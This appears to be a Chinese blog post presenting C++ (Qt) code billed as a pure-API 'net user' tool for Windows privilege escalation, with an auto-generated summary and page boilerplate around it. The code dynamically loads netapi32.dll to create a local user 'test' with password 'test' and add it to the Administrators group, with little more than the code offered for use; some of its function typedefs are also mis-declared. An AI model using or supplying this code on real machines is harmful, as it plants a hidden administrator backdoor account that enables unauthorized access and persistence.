纯api的netuwer,可用作window提权,用qt编写的

本文介绍了一个使用C++动态加载DLL并调用其中的NetUserAdd和NetLocalGroupAddMembers函数来创建用户及将用户添加到管理员组的例子。通过LoadLibraryA和GetProcAddress函数实现了动态链接库的加载与调用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

#include <QCoreApplication> //此句可不用
#include <windows.h>

#include  <lm.h>

int main(int argc, char *argv[])
{
    QCoreApplication a(argc, argv);
    USER_INFO_1 ui;
    int Usage(wchar_t *);
    ui.usri1_name = L"test";
    ui.usri1_password = L"test";
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;
    DWORD dwError = 0;
    HINSTANCE hd;
    hd=LoadLibraryA("netapi32.dll"); //动态调用 dll

    typedef BOOL(*fun)(HINSTANCE,int,LPBYTE,DWORD *); //定义net user add/命令
    fun add=(fun)GetProcAddress(hd,"NetUserAdd");
    add(NULL,1,(LPBYTE)&ui,&dwError); //增加用户名
    typedef BOOL(*fun1)(HINSTANCE,wchar_t * ,int,LPBYTE,int); //定义net uer group 命令
    fun1 addg=(fun1)GetProcAddress(hd,"NetLocalGroupAddMembers");


    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname=L"test";

    addg(NULL,L"Administrators",3,(LPBYTE)(&account),1); //添加用户到amdin
    return 1;
}


                
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值